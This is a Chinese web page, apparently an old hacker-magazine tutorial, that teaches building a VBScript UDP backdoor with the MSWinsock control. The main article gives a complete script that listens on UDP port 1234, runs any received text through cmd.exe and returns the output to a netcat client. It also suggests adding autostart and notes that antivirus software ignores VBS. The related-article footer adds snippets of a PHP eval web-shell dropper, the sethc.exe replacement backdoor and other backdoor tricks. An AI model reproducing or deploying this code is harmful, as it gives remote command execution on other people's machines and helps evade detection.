VBS+MSWinsock打造灵巧UDP后门的相关资料

大概在一年前,VBS脚本病毒又揭起一阵热潮,一大群VBS病毒在互联网上盛行。那时的VBS病毒几乎都是用FSO、MAPI作为一个病毒传染引擎,所以我就想,VBS可否访问网络呢?如果它也能进行端口的连接,那就神奇了。从此之后,我就努力去找有关VBS的网络类的资料,可惜找了好久,什么收获也没有,直到一个月前高考结束了,我才可以静下来搞这个东西,并终于有了一点进展。
现在分析一下VBS的运作原理吧。VBS的全称是“Visual Basic Scripts”,由于VBS是由Visual Basic分离出来的一种面向对象的脚本语言,所以它的语法与Visual Basic差不多,而且也是靠Object来实现它的其它高级功能。只不过是VBS是用Wscript.exe或Cscript.exe来解释的,因此它不需要编译,直接运行就行了,所以这也是VBS脚本做黑客工具方面的特长之一:普通杀毒软件不会对VBS感兴趣。因为VBS是一种面向对象的脚本语言,所以微软的很多ActiveX组件都可以通过“CreateObject(“ObjectName”)”来创建引用,这可能是微软公司的程序接口吧!也许用过VB编写网络程序的朋友也知道,用VB写网络程序大致有两种:一是调用Windows的API函数,二是用VB自带的Winsock控件,也就是在Windows系统目录中见到的“MSWinsock.ocx”。由于前者的API函数比较复杂,很多朋友比较喜欢用VB自带的Winsock控件,不知道大家有没有留意到那个Winsock控件,其实它就是我前面讲的ActiveX组件,它提供了访问TCP和UDP网络服务的方便途径,为编写客户或服务器应用程序,不必了解TCP的细节或调用低级的Winsock APIs。通过设置控件的属性并调用其方法就可轻易连接到一台远程机器上去,并且还可双向交换数据。既然找到了访问网络的引擎,那如何来用呢?用法又是不和VB中那样用呢?
Winsock控件用法大体上是同VB上的一样,但在VBS中,ActiveX控件并不是像VB中那样是可以见到的,要在VBS上引用它当然是先创建它的对象。创建方法就像创建FSO等对像。新建一个文本文件,在里面写入:
--------------------------------------------------
Set Sock=CreateObject("MSWinsock.Winsock")
Sock.AboutBox
--------------------------------------------------
保存为*.vbs运行它,就可以看到注册在你系统中的WinSock控件的有关信息。
怎能么样?开心吧,别急,我下面会详细讲讲。既然对象创建成功了,当然是要像VB中那样用它了。在VBS中创建的WinScok不能像VB中那样图形介面那样设置参数就行,是应该一步一个脚印来设置好你所创的是什么协议。在WinSock控件中要设置的协议是通过“Protocol”来设定的,如sock.Protocol=0 或 sock.Protocol=1。注意当“Protocol”的值为“0”时,所创建的协议是TCP;值为“1”时,则创建的是UDP。
我先介绍一下有关WinSock控件引用的基本方法和事件吧:
LocalHostName //取得本地主机名
LocalIP //取得本地主机IP
SocketHandle //取得创建SOCK的句柄
RemotePort //设置或取得远程端口
LocalPort //设置或取得本地端口
State //返回创建sock的对像状态(代吗如下){
0 缺省的。关闭 
1 打开 
2 侦听 
3 连接挂起 
4 识别主机 
5 已识别主机 
6 正在连接 
7 已连接 
8 同级人员正在关闭连接 
9 错误 }
BytesReceived //返回接收到的(当前在接收端缓冲区内的)数据的数量
Connect(RemoteHost,RemotePort) //建立远程连接,RemoteHost远程主机IP,RemotePort远程主机端口
Listen //使SOCK侦听
SendData/GetData //发送或接收数据
Close //关闭对像
Bind(LocalPort, LocalIP)//绑定本地端口。
那些基本的东西我讲完了,下面我测试一下远程主机会话吧(UDP),下面是一个VBS文件,大家可以试试,代码如下(文件sock-udp.vbs):
----------------------------------------
dim revdata
dim sendata
//创建Winsock对像
set sock=createobject("MSWinsock.Winsock") 
//使用UDP协议
//建立连接
sock.Protocol=1sock.Connect "127.0.0.1",1234
//定义要发送的数据
sendata="Hello!!!"&chr(13) 
//发送我们要发的数据
sock.senddata sendata 
do
//如果有数据回应就显示它
if sock.BytesReceived>0 then 
//定义接收数据类型(数据类型有vbByte、vbInteger、vbLong、vbSingle
//vbDouble、vbCurrency、vbDate、vbBoolean、vbError、vbString、vbArray+vbByte)
//也只有定义好要接收的数据类型才能收到数据,不然会收到的是一堆乱码;
sock.getdata revdata,vbString;
sendata=inputbox (revdata,"RecviedData","请输入你要发的信息")
sock.senddata senddata & chr(13)
//当收到含有"exit"字串时结束VBS进程
if instr(revdata,"exit") then exit do
else
end if
loop
//关闭对像套接
sock.close
------------------------------------------
然后用“nc -u -l -p 1234”监听本地UDP端口1234,再运行刚编写的VBS文件,看!我的NC有反应了。
里面的“MicroSoft (r) Windows Based Script Host”就是我们的VBS主进程了。在NC里我们还可以发信息、聊天,怎么样?一个简单的UDP C/S已经完成了。下面我再写一个关于它的利用吧,既然它能访问网络,当然是用它的做个VBS木马啦!老编们不会反对吧!哈哈,Let's Go!
--------------------------
Dim revdata
set sock=createobject("MSWinsock.Winsock")
set sc=createobject("WScript.Shell")
Set fso =CreateObject("Scripting.FileSystemObject")

sock.Protocol=1 //这个当然是UDP协议的标识啦
sock.bind 1234 //绑定本地的UDP端口

Do
if sock.BytesReceived>0 then
sock.getdata revdata,vbString
if instr(revdata,"exit")>0 then
exit do
else
on error resume next
tempfile="C:\" & fso.GetTempName
'cmd=right(revdata,len(revdata)-4)
cmd=left(revdata,len(revdata)-3)
//利用绑定cmd的输出
call sc.Run ("cmd.exe /c " & cmd & " > " & tempfile,0,True)
Set txf = fso.OpenTextFile(tempfile,1,false,0)
//把输出的文件读入内存,用SendData发送到客户端
sock.senddata txf.readall & vbcrlf & vbcrlf
txf.close
call fso.DeleteFile(TempFile,True)
end if
//嘻嘻,下面是我的版权喔
sock.senddata "--End--" & vbcrlf & "ForHelp exit:end|run:<RunFileName>" & vbcrlf & "Maked by Attrib Data:2004.7.28" & vbcrlf & vbcrlf
end if
Loop
sock.senddata "连接已关闭!" & vbcrlf
sock.close
sock=nothings
-------------------
到此,代码的基本架构已经完成了,要想做一个全能的木马可以在代码里加上诸如开机自动运行等。由于VBS程序没有设置出错保护,可能一些错误的操作会出现程蹦溃,有兴趣的朋友可以自己试试。用法是先把这个VBS后门运行在服务端,之后就用你的NC连,因为用的是UDP协议,NC的命令行是“NC –u IP Port”,记得要加上那个“-u”参数啊,之后就像WinShell一样用就行了,下面是在我的机器里测试的截图。

至于TCP如何编写,道理也跟UDP差不多,我这里就不再多写了,大家可以自己研究下。
如果有什么好的方法还可以和我一同研究。谢谢观赏。

(0)

相关推荐

  • C++动态规划之最长公子序列实例

    本文实例讲述了C++动态规划之最长公子序列解决方法.分享给大家供大家参考.具体分析如下: 问题描述: 求出两个字符串中的最长公子序列的长度. 输入: csblog belong 输出: max length = 4 实现代码: #include <stdio.h> #include <string.h> int arr[200][200]; /* 表示str1的前i位和str2的前j位的最长公子序列的长度 */ int main() { char str1[100],str2[10

  • PHP隐形一句话后门,和ThinkPHP框架加密码程序(base64_decode)

    今天一个客户的服务器频繁被写入: mm.php 内容为: 复制代码 代码如下: <?eval($_POST[c]);?> 最后查到某文件内的第一行为以下代码: 复制代码 代码如下: fputs(fopen(base64_decode("bW0ucGhw"),"w"),base64_decode("PD9ldmFsKCRfUE9TVFtjXSk7Pz4=")); base64_decode("bW0ucGhw") /

  • 变态入侵之有史以来最酷的Windows后门sethc.exe

    后门原理: 在windows 2000/xp/vista下,按shift键5次,可以打开粘置,会运行sethc.exe,而且,在登录界面里也可以打开.这就让人联想到WINDOWS的屏保,将程序替换成cmd.exe后,就可以打开shell了. XP: 将安装源光盘弹出(或将硬盘上的安装目录改名)  cd %widnir%\system32\dllcache  ren sethc.exe *.ex~  cd %widnir%\system32  copy /y cmd.exe sethc.exe V

  • 利用wsc制作的一个asp后门

    <?xml version="1.0" encoding="gb2312" standalone="yes"?> <?component error="true" debug="true"?> <package> <component id="haiyangtop"> <public> <method name="

  • C++动态规划之背包问题解决方法

    本文实例讲述了C++动态规划之背包问题解决方法.分享给大家供大家参考.具体分析如下: 问题描述: 背包的最大容量为W,有N件物品,每件物品重量为w,价值为p,怎样选择物品能使得背包里的物品价值最大? 输入: 10 3   (W,N) 4 5   (w,p) 6 7   (w,p) 8 9   (w,p) 实现代码: #include <stdio.h> #define THING 20 #define WEIGHT 100 int arr[THING][WEIGHT]; /* 背包容量为wei

  • VC++植物大战僵尸中文版修改器实现代码

    本文实例讲述了VC++植物大战僵尸中文版修改器实现代码.分享给大家供大家参考.具体分析如下: 这是很简单的一个辅助工具,关键是游戏数据的分析,实现了两个功能,无限阳光和无冷却.特别注意的一下,如果用VS2008编译的话,调试的时候是正常的,但编译后功能就会失效,这是因为OpenProcess权限的问题,需要提权,在VC6下是正常的. void CzhiwuDlg::OnBnClickedButton1() { //无限阳光代码 HWND hJubing; DWORD lID; DWORD bas

  • Linux下查找后门程序 CentOS 查后门程序的shell脚本

    每个进程都会有一个PID,而每一个PID都会在/proc目录下有一个相应的目录,这是linux(当前内核2.6)系统的实现. 一般后门程序,在ps等进程查看工具里找不到,因为这些常用工具甚至系统库在系统被入侵之后基本上已经被动过手脚(网上流传着大量的rootkit.假如是内核级的木马,那么该方法就无效了). 因为修改系统内核相对复杂(假如内核被修改过,或者是内核级的木马,就更难发现了),所以在/proc下,基本上还都可以找到木马的痕迹. 思路: 在/proc中存在的进程ID,在 ps 中查看不到

  • C++实现基于控制台界面的吃豆子游戏

    本文实例讲述了C++实现基于控制台界面的吃豆子游戏.分享给大家供大家参考.具体分析如下: 程序运行界面如下所示: ESC键可退出游戏. main.cpp源文件如下: #include "lib.h" #pragma once extern int level; int main() { FOOD food; WALL wall; BODY CurPos; HALL hall; int iExit = 0; while(1) { if(iExit) break; Init(&fo

  • C++映像劫持后门实例分析

    本文实例讲述了C++映像劫持后门的方法.分享给大家供大家参考.具体如下: // freeheart.cpp : Defines the entry point for the console application. //学习交流使用,违法使用后果自负. // by:cnblogs.com/blogg time 2013.5.24 // argv 0 = freeheart.exe // argv 1 = -i // argv 2 = name.exe // argv 3 = 1 2 3 //

  • VBS+MSWinsock打造灵巧UDP后门的相关资料

    大概在一年前,VBS脚本病毒又揭起一阵热潮,一大群VBS病毒在互联网上盛行.那时的VBS病毒几乎都是用FSO.MAPI作为一个病毒传染引擎,所以我就想,VBS可否访问网络呢?如果它也能进行端口的连接,那就神奇了.从此之后,我就努力去找有关VBS的网络类的资料,可惜找了好久,什么收获也没有,直到一个月前高考结束了,我才可以静下来搞这个东西,并终于有了一点进展. 现在分析一下VBS的运作原理吧.VBS的全称是"Visual Basic Scripts",由于VBS是由Visual Basi

  • Vbs脚本实现radmin终极后门代码_删除自身

    复制代码 代码如下: on error resume next  const HKEY_LOCAL_MACHINE = &H80000002  strComputer = "."  Set StdOut = WScript.StdOut  Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &_   strComputer & "\root\defaul

  • SQL Server 日期相关资料详细介绍

    一.日期类型: 对于SQL Server 2008 来说(因为2000甚至2005已经稍微有被淘汰的迹象,所以在此不作过多说明,加上自己工作使用的是2008R2.所以不保证08以前的能用),日期类型有: 数据类型 格式 范围 精确度 存储大小(以字节为单位) 用户定义的秒的小数精度 时区偏移量 time hh:mm:ss[. nnnnnnn] 00:00:00.0000000 到 23:59:59.9999999 100 纳秒 3 到 5 是 否 date YYYY-MM-DD 0001-01-

  • MySQL与存储过程的相关资料

    MySQL是"世界上最为流行的开放性数据库",至少对于MySQL Web站点会这样.但无论MySQL如此流行,很多公司都对MySQL的使用抱有抵触情绪.这种现象来自几个原因,其中有些人错误地认为开放性源代码只不过相当于小孩子的积木游戏,而另一些人认为任何免费的东西都不会是好东西.也许这些想法都是误解,然而有一种抱怨却是合理的,即与其它对应的产品不一样,比如Oracle或者 DB2,MySQL不能够支持存储过程(stored procedures). 最新的MySQL 5.0能够支持存储

  • 笔记本下什么是迅驰处理器(cpu)相关资料第1/2页

    2003年3月英特尔正式发布了迅驰移动计算技术,英特尔的迅驰移动计算技术并非以往的处理器.芯片组等单一产品形式,其代表了一整套移动计算解决方案,迅驰的构成分为三个部分:奔腾M处理器.855/915系列芯片组和英特尔PRO无线网上,三项缺一不可共同组成了迅驰移动计算技术. 奔腾M首次改版叫Dothan 在两年多时间里,迅驰技术经历了一次改版和一次换代.初期迅驰中奔腾M处理器的核心代号为Bannis,采用130纳米工艺,1MB高速二级缓存,400MHz前端总线.迅驰首次改版是在2004年5月,采用9

  • asp.net 获取IP的相关资料

    ASP.net 获得客户端的IP,最常见的是使用下述代码: 复制代码 代码如下: string user_IP = System.Web.HttpContext.Current.Request.ServerVariables["REMOTE_ADDR"]; 对于了解代理服务器情况的人,我们会知道,如果用户使用了代理服务器,上述代码获得的是代理服务器的IP地址:如果用户使用了多个代理服务器,则是到达服务器的最后一个代理服务器的IP地址. REMOTE_ADDR 说明: 访问客户端的 IP

  • 关于URL最大长度限制的相关资料查证

    在开发调试支付宝接口时,突然发现支付宝接口的URL很长,远远大于之前自己印象中的255个字符.赶紧搜索查证了一番,理解如下: URL不能大于255bytes的说法确实存在,在RFC2616中提到: 复制代码 代码如下: The HTTP protocol does not place any a priori limit on the length of a URI. Servers MUST be able to handle the URI of any resource they serv

  • 如何获得PHP相关资料

    Obtaining PHPThis section has details about PHP download locations, and OS issues. 1. 我在哪儿能得到PHP? 2. 有预编译的二进制版本吗? 3. 我在哪儿能得到可选的PHP扩展库 ? 4. 我怎样做才能使这些库运作起来? 5. 我在我的windows上用CVS得到最新版本的PHP源代码, 我怎样编译它? 6. 我在哪儿能找到 Browser Capabilities File?1. 我在哪儿能够得到PHP?你

  • js window对象属性和方法相关资料整理

    window对象有以下方法: open close alert confirm prompt setTimeout clearTimeout setInterval clearInterval moveBy moveTo resizeBy resizeTo scrollBy scrollTo find back forward home stop print blur focus captureEvent enableExternalCapture disableExternalCapture

  • C#数组学习相关资料整理

    数组概述 C# 数组从零开始建立索引,即数组索引从零开始.C# 中数组的工作方式与在大多数其他流行语言中的工作方式类似.但还有一些差异应引起注意. 声明数组时,方括号 ([]) 必须跟在类型后面,而不是标识符后面.在 C# 中,将方括号放在标识符后是不合法的语法. int[] table; // not int table[]; 另一细节是,数组的大小不是其类型的一部分,而在 C 语言中它却是数组类型的一部分.这使您可以声明一个数组并向它分配 int 对象的任意数组,而不管数组长度如何. 复制代

随机推荐